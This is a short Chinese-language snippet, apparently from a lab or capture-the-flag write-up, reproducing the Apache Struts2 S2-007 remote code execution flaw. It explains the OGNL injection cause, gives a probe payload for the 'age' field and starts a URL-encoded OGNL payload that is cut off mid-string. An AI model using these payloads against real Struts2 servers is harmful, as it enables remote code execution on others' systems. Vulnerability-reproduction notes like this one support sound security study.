0x21.Apache Struts2遠程代碼執行漏洞(S2-007)復現

s2-007：當配置了驗證規則，類型轉換出錯時，進行了錯誤的字符串拼接，進而造成了OGNL語句的執行； 抓包，在age值處輸入poc； poc：'+(#application)+' 判斷出在age輸入框存在s2-007漏洞； 輸入poc查找key文件位置，得到key值； poc：%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%

>>阅读原文<<